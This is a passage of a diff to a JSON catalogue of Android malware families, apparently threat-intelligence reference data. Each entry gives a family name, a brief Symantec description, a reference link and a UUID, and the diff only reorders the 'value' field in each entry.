"description": "Pjapps.B is a Trojan horse for Android devices that opens a back door on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-032014-1624-99"
]
},
- "uuid": "337a4e0f-3ba7-4b3e-8ee8-6dec28efa367"
+ "uuid": "337a4e0f-3ba7-4b3e-8ee8-6dec28efa367",
+ "value": "Pjapps.B"
},
{
- "value": "Pletora",
"description": "Pletora is a is a Trojan horse for Android devices that may lock the compromised device. It then asks the user to pay in order to unlock the device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-061217-4345-99"
]
},
- "uuid": "e7fcea42-c041-4650-8a74-980e2580f707"
+ "uuid": "e7fcea42-c041-4650-8a74-980e2580f707",
+ "value": "Pletora"
},
{
- "value": "Poisoncake",
"description": "Poisoncake is a Trojan horse for Android devices that opens a back door on the compromised device. It may also download potentially malicious files and steal information. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-010610-0726-99"
]
},
- "uuid": "f3fa28df-2f61-4391-921d-0df12015406a"
+ "uuid": "f3fa28df-2f61-4391-921d-0df12015406a",
+ "value": "Poisoncake"
},
{
- "value": "Pontiflex",
"description": "Pontiflex is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-0946-99"
]
},
- "uuid": "a69028fd-345c-46c1-a8e4-5344edf4a83b"
+ "uuid": "a69028fd-345c-46c1-a8e4-5344edf4a83b",
+ "value": "Pontiflex"
},
{
- "value": "Positmob",
"description": "Positmob is a Trojan horse program for Android devices that sends SMS messages to premium rate phone numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-111409-1556-99"
]
},
- "uuid": "55014563-84cd-42bd-a4d0-9cb59fed0954"
+ "uuid": "55014563-84cd-42bd-a4d0-9cb59fed0954",
+ "value": "Positmob"
},
{
- "value": "Premiumtext",
"description": "Premiumtext is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers. These Trojans will often be repackaged versions of genuine Android software packages, often distributed outside the Android Marketplace. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-080213-5308-99"
]
},
- "uuid": "aafa218b-681d-4fa9-bbe0-3e5e1655e379"
+ "uuid": "aafa218b-681d-4fa9-bbe0-3e5e1655e379",
+ "value": "Premiumtext"
},
{
- "value": "Pris",
"description": "Pris is a Trojan horse for Android devices that silently downloads a malicious application and attempts to open a back door on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-061820-5638-99"
]
},
- "uuid": "84c24979-1f6b-4fb6-9783-b0262002f27c"
+ "uuid": "84c24979-1f6b-4fb6-9783-b0262002f27c",
+ "value": "Pris"
},
{
- "value": "Qdplugin",
"description": "Qdplugin is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-102510-3330-99"
]
},
- "uuid": "104be155-2e71-46bf-90a4-c2b27c6b6825"
+ "uuid": "104be155-2e71-46bf-90a4-c2b27c6b6825",
+ "value": "Qdplugin"
},
{
- "value": "Qicsomos",
"description": "Qicsomos is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-011007-2223-99"
]
},
- "uuid": "ef0a5556-2328-47f2-9703-bd8001639afe"
+ "uuid": "ef0a5556-2328-47f2-9703-bd8001639afe",
+ "value": "Qicsomos"
},
{
- "value": "Qitmo",
"description": "Qitmo is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-030716-4923-99"
]
},
- "uuid": "0d2c5dd9-8300-4570-a49e-971ac90efdec"
+ "uuid": "0d2c5dd9-8300-4570-a49e-971ac90efdec",
+ "value": "Qitmo"
},
{
- "value": "Rabbhome",
"description": "Rabbhome is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-053007-3750-99"
]
},
- "uuid": "4c15d120-70c8-4d9f-b001-bf6c218a991a"
+ "uuid": "4c15d120-70c8-4d9f-b001-bf6c218a991a",
+ "value": "Rabbhome"
},
{
- "value": "Repane",
"description": "Repane is a Trojan horse for Android devices that steals information and sends SMS messages from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-090411-5052-99"
]
},
- "uuid": "4f07cf74-9b9b-479d-859e-67a2a13ca5de"
+ "uuid": "4f07cf74-9b9b-479d-859e-67a2a13ca5de",
+ "value": "Repane"
},
{
- "value": "Reputation.1",
"description": "Reputation.1 is a detection for Android files based on analysis performed by Norton Mobile Insight. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-022612-2619-99"
]
},
- "uuid": "d1ef2846-24cc-48a7-9bf2-c739eed7d25a"
+ "uuid": "d1ef2846-24cc-48a7-9bf2-c739eed7d25a",
+ "value": "Reputation.1"
},
{
- "value": "Reputation.2",
"description": "Reputation.2 is a detection for Android files based on analysis performed by Norton Mobile Insight. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-2629-99"
]
},
- "uuid": "522a2325-290b-45ac-9eab-ffdf3898dbee"
+ "uuid": "522a2325-290b-45ac-9eab-ffdf3898dbee",
+ "value": "Reputation.2"
},
{
- "value": "Reputation.3",
"description": "Reputation.3 is a detection for Android files based on analysis performed by Norton Mobile Insight. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-3126-99"
]
},
- "uuid": "095a898a-301a-49f1-9bc6-c43425d17c8e"
+ "uuid": "095a898a-301a-49f1-9bc6-c43425d17c8e",
+ "value": "Reputation.3"
},
{
- "value": "RevMob",
"description": "RevMob is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040308-0502-99"
]
},
- "uuid": "6469a63e-5c6b-4517-9540-eb16488ad67a"
+ "uuid": "6469a63e-5c6b-4517-9540-eb16488ad67a",
+ "value": "RevMob"
},
{
- "value": "Roidsec",
"description": "Roidsec is a Trojan horse for Android devices that steals confidential information. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-052022-1227-99"
]
},
- "uuid": "06ae93ed-13ba-4200-9c91-8901f08a4fae"
+ "uuid": "06ae93ed-13ba-4200-9c91-8901f08a4fae",
+ "value": "Roidsec"
},
{
- "value": "Rootcager",
"description": "Rootcager is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-030212-1438-99"
]
},
- "uuid": "25f0c7d4-f961-4cd1-ac70-90242506200d"
+ "uuid": "25f0c7d4-f961-4cd1-ac70-90242506200d",
+ "value": "Rootcager"
},
{
- "value": "Rootnik",
"description": "Rootnik is a Trojan horse for Android devices that steals information and downloads additional apps. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2016-062710-0328-99"
]
},
- "uuid": "05f5a051-d7a2-4757-a2f0-d685334d9374"
+ "uuid": "05f5a051-d7a2-4757-a2f0-d685334d9374",
+ "value": "Rootnik"
},
{
- "value": "Rufraud",
"description": "Rufraud is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-121306-2304-99"
]
},
- "uuid": "99064315-2097-4c2e-8f92-a34ab9422441"
+ "uuid": "99064315-2097-4c2e-8f92-a34ab9422441",
+ "value": "Rufraud"
},
{
- "value": "Rusms",
"description": "Rusms is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-061711-5009-99"
]
},
- "uuid": "77ba4823-2d71-4ead-aba8-71a15a2a7c99"
+ "uuid": "77ba4823-2d71-4ead-aba8-71a15a2a7c99",
+ "value": "Rusms"
},
{
- "value": "Samsapo",
"description": "Samsapo is a worm for Android devices that spreads by sending SMS messages to all contacts stored on the compromised device. It also opens a back door and downloads files. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-050111-1908-99"
]
},
- "uuid": "d266a784-3ce7-40f2-b710-0d758700276b"
+ "uuid": "d266a784-3ce7-40f2-b710-0d758700276b",
+ "value": "Samsapo"
},
{
- "value": "Sandorat",
"description": "Sandorat is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals information. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-110720-2146-99"
]
},
- "uuid": "f0baccdc-d38f-4bb1-ab42-319b69be6322"
+ "uuid": "f0baccdc-d38f-4bb1-ab42-319b69be6322",
+ "value": "Sandorat"
},
{
- "value": "Sberick",
"description": "Sberick is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-071014-2146-99"
]
},
- "uuid": "bd781792-dd1f-4fa9-a523-53f578b8f52c"
+ "uuid": "bd781792-dd1f-4fa9-a523-53f578b8f52c",
+ "value": "Sberick"
},
{
- "value": "Scartibro",
"description": "Scartibro is a Trojan horse for Android devices that locks the compromised device and asks the user to pay in order to unlock it. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-080718-2038-99"
]
},
- "uuid": "0c7bac44-c062-4dd6-824d-79f3c225d3e5"
+ "uuid": "0c7bac44-c062-4dd6-824d-79f3c225d3e5",
+ "value": "Scartibro"
},
{
- "value": "Scipiex",
"description": "Scipiex is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-100814-4702-99"
]
},
- "uuid": "e658c4ff-a749-44d1-9c7c-d8782cecbb05"
+ "uuid": "e658c4ff-a749-44d1-9c7c-d8782cecbb05",
+ "value": "Scipiex"
},
{
- "value": "Selfmite",
"description": "Selfmite is a worm for Android devices that spreads through SMS messages. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-070111-5857-99"
]
},
- "uuid": "666eb607-971e-4a90-92df-2b1903eb5c29"
+ "uuid": "666eb607-971e-4a90-92df-2b1903eb5c29",
+ "value": "Selfmite"
},
{
- "value": "Selfmite.B",
"description": "Selfmite.B is a worm for Android devices that displays ads on the compromised device. It spreads through SMS messages. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-101013-4717-99"
]
},
- "uuid": "1031ff29-419d-450e-a1d3-d203db10b7df"
+ "uuid": "1031ff29-419d-450e-a1d3-d203db10b7df",
+ "value": "Selfmite.B"
},
{
- "value": "SellARing",
"description": "SellARing is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-3157-99"
]
},
- "uuid": "875a58aa-f155-48d5-86a7-b18bf711a211"
+ "uuid": "875a58aa-f155-48d5-86a7-b18bf711a211",
+ "value": "SellARing"
},
{
- "value": "SendDroid",
"description": "SendDroid is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-2111-99"
]
},
- "uuid": "69ca9eb1-f19a-4442-8bfd-ac5f9a5387c2"
+ "uuid": "69ca9eb1-f19a-4442-8bfd-ac5f9a5387c2",
+ "value": "SendDroid"
},
{
- "value": "Simhosy",
"description": "Simhosy is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-061013-3955-99"
]
},
- "uuid": "96624486-651c-499d-a731-83e149e16ea4"
+ "uuid": "96624486-651c-499d-a731-83e149e16ea4",
+ "value": "Simhosy"
},
{
- "value": "Simplocker",
"description": "Simplocker is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-060610-5533-99"
]
},
- "uuid": "194d0629-9e26-4de4-8239-85b862aadc7f"
+ "uuid": "194d0629-9e26-4de4-8239-85b862aadc7f",
+ "value": "Simplocker"
},
{
- "value": "Simplocker.B",
"description": "Simplocker.B is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-072317-1950-99"
]
},
- "uuid": "6cf6fdd1-acce-4498-afe9-bc9202235cfa"
+ "uuid": "6cf6fdd1-acce-4498-afe9-bc9202235cfa",
+ "value": "Simplocker.B"
},
{
- "value": "Skullkey",
"description": "Skullkey is a Trojan horse for Android devices that gives the attacker remote control of the compromised device to perform malicious activity. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-072322-5422-99"
]
},
- "uuid": "8f5e8349-14cb-4dc2-86dc-bcfe7360d4c7"
+ "uuid": "8f5e8349-14cb-4dc2-86dc-bcfe7360d4c7",
+ "value": "Skullkey"
},
{
- "value": "Smaato",
"description": "Smaato is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052622-1755-99"
]
},
- "uuid": "5e02d505-59bf-493e-b9d8-29dffcc5045a"
+ "uuid": "5e02d505-59bf-493e-b9d8-29dffcc5045a",
+ "value": "Smaato"
},
{
- "value": "Smbcheck",
"description": "Smbcheck is a hacktool for Android devices that can trigger a Server Message Block version 2 (SMBv2) vulnerability and may cause the target computer to crash.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-5634-99"
]
},
- "uuid": "60be1539-2205-4865-87ab-318dcdb1873e"
+ "uuid": "60be1539-2205-4865-87ab-318dcdb1873e",
+ "value": "Smbcheck"
},
{
- "value": "Smsblocker",
"description": "Smsblocker is a generic detection for threats on Android devices that block the transmission of SMS messages. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-081607-4001-99"
]
},
- "uuid": "13b6f47b-12bd-4c0a-88d1-b6a627169266"
+ "uuid": "13b6f47b-12bd-4c0a-88d1-b6a627169266",
+ "value": "Smsblocker"
},
{
- "value": "Smsbomber",
"description": "Smsbomber is a program that can be used to send messages to contacts on the device.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-112611-5837-99"
]
},
- "uuid": "054789dc-6ffa-4a06-ace9-6fd7095c7504"
+ "uuid": "054789dc-6ffa-4a06-ace9-6fd7095c7504",
+ "value": "Smsbomber"
},
{
- "value": "Smslink",
"description": "Smslink is a Trojan horse for Android devices that may send malicious SMS messages from the compromised device. It may also display advertisements. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-112600-3035-99"
]
},
- "uuid": "5d41547a-fc71-4e49-8dbf-59f15a58a74c"
+ "uuid": "5d41547a-fc71-4e49-8dbf-59f15a58a74c",
+ "value": "Smslink"
},
{
- "value": "Smspacem",
"description": "Smspacem is a Trojan horse that may send SMS messages from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-052310-1322-99"
]
},
- "uuid": "3191e73e-72a4-4a05-9d5b-2da158822820"
+ "uuid": "3191e73e-72a4-4a05-9d5b-2da158822820",
+ "value": "Smspacem"
},
{
- "value": "SMSReplicator",
"description": "SMSReplicator is a spying utility that will secretly transmit incoming SMS messages to another phone of the installer's choice. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2010-110214-1252-99"
]
},
- "uuid": "8e638226-b772-492c-b0a3-3a77e5b08496"
+ "uuid": "8e638226-b772-492c-b0a3-3a77e5b08496",
+ "value": "SMSReplicator"
},
{
- "value": "Smssniffer",
"description": "Smssniffer is a Trojan horse that intercepts SMS messages on Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-071108-3626-99"
]
},
- "uuid": "4d79cd58-217a-454a-991c-19219612580c"
+ "uuid": "4d79cd58-217a-454a-991c-19219612580c",
+ "value": "Smssniffer"
},
{
- "value": "Smsstealer",
"description": "Smsstealer is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-121514-0214-99"
]
},
- "uuid": "c502316f-f3bb-47a4-9198-d73426609429"
+ "uuid": "c502316f-f3bb-47a4-9198-d73426609429",
+ "value": "Smsstealer"
},
{
- "value": "Smstibook",
"description": "Smstibook is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-051207-4833-99"
]
},
- "uuid": "312806f6-dc58-4b2b-b86e-1338626460ea"
+ "uuid": "312806f6-dc58-4b2b-b86e-1338626460ea",
+ "value": "Smstibook"
},
{
- "value": "Smszombie",
"description": "Smszombie is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-082011-0922-99"
]
},
- "uuid": "99884c3e-cc56-4099-a52b-136ae0078d61"
+ "uuid": "99884c3e-cc56-4099-a52b-136ae0078d61",
+ "value": "Smszombie"
},
{
- "value": "Snadapps",
"description": "Snadapps is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-071807-3111-99"
]
},
- "uuid": "ac43bc86-59da-42ad-82d6-d0a17cc04a40"
+ "uuid": "ac43bc86-59da-42ad-82d6-d0a17cc04a40",
+ "value": "Snadapps"
},
{
- "value": "Sockbot",
"description": "Sockbot is a Trojan horse for Android devices that creates a SOCKS proxy on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2017-101314-1353-99"
]
},
- "uuid": "e8096285-d437-4664-9125-d30cb19b84cb"
+ "uuid": "e8096285-d437-4664-9125-d30cb19b84cb",
+ "value": "Sockbot"
},
{
- "value": "Sockrat",
"description": "Sockrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-110509-4646-99"
]
},
- "uuid": "dadccdda-a4c2-4021-90b9-61a394e602be"
+ "uuid": "dadccdda-a4c2-4021-90b9-61a394e602be",
+ "value": "Sockrat"
},
{
- "value": "Sofacy",
"description": "Sofacy is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2017-010508-5201-99"
]
},
- "uuid": "df36267b-7267-4c23-a7a1-cf94ef1b3729"
+ "uuid": "df36267b-7267-4c23-a7a1-cf94ef1b3729",
+ "value": "Sofacy"
},
{
- "value": "Sosceo",
"description": "Sosceo is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040408-0609-99"
]
},
- "uuid": "f1118dcb-13a3-4021-8dee-22201ae9324a"
+ "uuid": "f1118dcb-13a3-4021-8dee-22201ae9324a",
+ "value": "Sosceo"
},
{
- "value": "Spitmo",
"description": "Spitmo is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-091407-1435-99"
]
},
- "uuid": "98a51dbd-5fe4-44f1-8171-2f7bb5691ca8"
+ "uuid": "98a51dbd-5fe4-44f1-8171-2f7bb5691ca8",
+ "value": "Spitmo"
},
{
- "value": "Spitmo.B",
"description": "Spitmo.B is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-0445-99"
]
},
- "uuid": "75ee2fc5-f412-42a3-b17b-be5b7c1b5172"
+ "uuid": "75ee2fc5-f412-42a3-b17b-be5b7c1b5172",
+ "value": "Spitmo.B"
},
{
- "value": "Spyagent",
"description": "Spyagent is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-090710-1836-99"
]
},
- "uuid": "b399f848-032d-4e7b-8c53-1d61ef53ef73"
+ "uuid": "b399f848-032d-4e7b-8c53-1d61ef53ef73",
+ "value": "Spyagent"
},
{
- "value": "Spybubble",
"description": "Spybubble is a Spyware application for Android devices that logs the device's activity and sends it to a predetermined website.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-121917-0335-99"
]
},
- "uuid": "ee87a204-a0d6-4e4b-ba05-85853df60857"
+ "uuid": "ee87a204-a0d6-4e4b-ba05-85853df60857",
+ "value": "Spybubble"
},
{
- "value": "Spydafon",
"description": "Spydafon is a Potentially Unwanted Application for Android devices that monitors the affected device.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-030722-4740-99"
]
},
- "uuid": "8e313409-bee2-4ea5-9dc5-062dde2d37a7"
+ "uuid": "8e313409-bee2-4ea5-9dc5-062dde2d37a7",
+ "value": "Spydafon"
},
{
- "value": "Spymple",
"description": "Spymple is a spyware application for Android devices that allows the device it is installed on to be monitored.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-5403-99"
]
},
- "uuid": "d2f7d24a-5ad2-4cae-a600-9f9e0415e32f"
+ "uuid": "d2f7d24a-5ad2-4cae-a600-9f9e0415e32f",
+ "value": "Spymple"
},
{
- "value": "Spyoo",
"description": "Spyoo is a spyware program for Android devices that records and sends certain information to a remote location.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-081709-0457-99"
]
},
- "uuid": "d3f5be8f-e1bd-45a7-b78e-1594884ed740"
+ "uuid": "d3f5be8f-e1bd-45a7-b78e-1594884ed740",
+ "value": "Spyoo"
},
{
- "value": "Spytekcell",
"description": "Spytekcell is a spyware program for Android devices that monitors and sends certain information to a remote location.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-121021-0730-99"
]
},
- "uuid": "7e83bb34-5b0a-4a04-9c33-45ccd62adb49"
+ "uuid": "7e83bb34-5b0a-4a04-9c33-45ccd62adb49",
+ "value": "Spytekcell"
},
{
- "value": "Spytrack",
"description": "Spytrack is a spyware program for Android devices that periodically sends certain information to a remote location.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-080109-5710-99"
]
},
- "uuid": "70ff60ea-2955-4ab0-ad7f-aa33e6bb0b9c"
+ "uuid": "70ff60ea-2955-4ab0-ad7f-aa33e6bb0b9c",
+ "value": "Spytrack"
},
{
- "value": "Spywaller",
"description": "Spywaller is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-121807-0203-99"
]
},
- "uuid": "eff7bcd4-a797-4a85-8db2-583b182c98e5"
+ "uuid": "eff7bcd4-a797-4a85-8db2-583b182c98e5",
+ "value": "Spywaller"
},
{
- "value": "Stealthgenie",
"description": "Stealthgenie is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-111416-1306-99"
]
},
- "uuid": "3e90ee61-4377-473f-8469-7a91875b54f1"
+ "uuid": "3e90ee61-4377-473f-8469-7a91875b54f1",
+ "value": "Stealthgenie"
},
{
- "value": "Steek",
"description": "Steek is a potentially unwanted application that is placed on a download website for Android applications and disguised as popular applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-010911-3142-99"
]
},
- "uuid": "31f0f24e-6807-4a1a-b14d-cb421b1aea12"
+ "uuid": "31f0f24e-6807-4a1a-b14d-cb421b1aea12",
+ "value": "Steek"
},
{
- "value": "Stels",
"description": "Stels is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-032910-0254-99"
]
},
- "uuid": "435cbdcd-4cab-4a2e-8e58-9094b6226f94"
+ "uuid": "435cbdcd-4cab-4a2e-8e58-9094b6226f94",
+ "value": "Stels"
},
{
- "value": "Stiniter",
"description": "Stiniter is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-030903-5228-99"
]
},
- "uuid": "418dc95a-a638-4e85-b72d-0bf6b7cbda0c"
+ "uuid": "418dc95a-a638-4e85-b72d-0bf6b7cbda0c",
+ "value": "Stiniter"
},
{
- "value": "Sumzand",
"description": "Sumzand is a Trojan horse for Android devices that steals information and sends it to a remote location. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-080308-2851-99"
]
},
- "uuid": "2799ad1e-b438-4da5-a489-6035643c71a8"
+ "uuid": "2799ad1e-b438-4da5-a489-6035643c71a8",
+ "value": "Sumzand"
},
{
- "value": "Sysecsms",
"description": "Sysecsms is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-122714-5228-99"
]
},
- "uuid": "7f7611d7-0419-4d6c-8026-6d132912f297"
+ "uuid": "7f7611d7-0419-4d6c-8026-6d132912f297",
+ "value": "Sysecsms"
},
{
- "value": "Tanci",
"description": "Tanci is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4108-99"
]
},
- "uuid": "031cabf7-f43c-4de3-9cd7-2ee96a4a3696"
+ "uuid": "031cabf7-f43c-4de3-9cd7-2ee96a4a3696",
+ "value": "Tanci"
},
{
- "value": "Tapjoy",
"description": "Tapjoy is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-4702-99"
]
},
- "uuid": "e57f936d-0cf2-4f83-9daf-3d167de8fdfb"
+ "uuid": "e57f936d-0cf2-4f83-9daf-3d167de8fdfb",
+ "value": "Tapjoy"
},
{
- "value": "Tapsnake",
"description": "Tapsnake is a Trojan horse for Android phones that is embedded into a game. It tracks the phone's location and posts it to a remote web service. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2010-081214-2657-99"
]
},
- "uuid": "a5ff203d-3613-4b66-bdec-ef342e9c85c2"
+ "uuid": "a5ff203d-3613-4b66-bdec-ef342e9c85c2",
+ "value": "Tapsnake"
},
{
- "value": "Tascudap",
"description": "Tascudap is a Trojan horse for Android devices that uses the compromised device in denial of service attacks. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-121312-4547-99"
]
},
- "uuid": "171cfcc4-171c-4f62-82c0-b1583937cd0d"
+ "uuid": "171cfcc4-171c-4f62-82c0-b1583937cd0d",
+ "value": "Tascudap"
},
{
- "value": "Teelog",
"description": "Teelog is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-040215-2736-99"
]
},
- "uuid": "9de29650-4fca-40d1-8def-1fe39bde13a3"
+ "uuid": "9de29650-4fca-40d1-8def-1fe39bde13a3",
+ "value": "Teelog"
},
{
- "value": "Temai",
"description": "Temai is a Trojan horse for Android applications that opens a back door and downloads malicious files onto the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-091722-4052-99"
]
},
- "uuid": "3b8479b5-1ea2-4a0d-a80d-4ab9f91b477a"
+ "uuid": "3b8479b5-1ea2-4a0d-a80d-4ab9f91b477a",
+ "value": "Temai"
},
{
- "value": "Tetus",
"description": "Tetus is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-012409-4705-99"
]
},
- "uuid": "d706632e-0940-4ae0-9fc5-ed59b941828c"
+ "uuid": "d706632e-0940-4ae0-9fc5-ed59b941828c",
+ "value": "Tetus"
},
{
- "value": "Tgpush",
"description": "Tgpush is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-032816-0259-99"
]
},
- "uuid": "c9e1c4d7-7082-45c3-8aae-4449d94639ef"
+ "uuid": "c9e1c4d7-7082-45c3-8aae-4449d94639ef",
+ "value": "Tgpush"
},
{
- "value": "Tigerbot",
"description": "Tigerbot is a Trojan horse for Android devices that opens a back door on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-041010-2221-99"
]
},
- "uuid": "7ae84b6b-79c0-4835-8ebe-f9da724cde3f"
+ "uuid": "7ae84b6b-79c0-4835-8ebe-f9da724cde3f",
+ "value": "Tigerbot"
},
{
- "value": "Tonclank",
"description": "Tonclank is a Trojan horse that steals information and may open a back door on Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-061012-4545-99"
]
},
- "uuid": "68c29f38-36a6-46c0-bef9-cd70de3d6497"
+ "uuid": "68c29f38-36a6-46c0-bef9-cd70de3d6497",
+ "value": "Tonclank"
},
{
- "value": "Trogle",
"description": "Trogle is a worm for Android devices that may steal information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-081213-5553-99"
]
},
- "uuid": "fae64496-415e-49fa-94ed-519ef7a0fac9"
+ "uuid": "fae64496-415e-49fa-94ed-519ef7a0fac9",
+ "value": "Trogle"
},
{
- "value": "Twikabot",
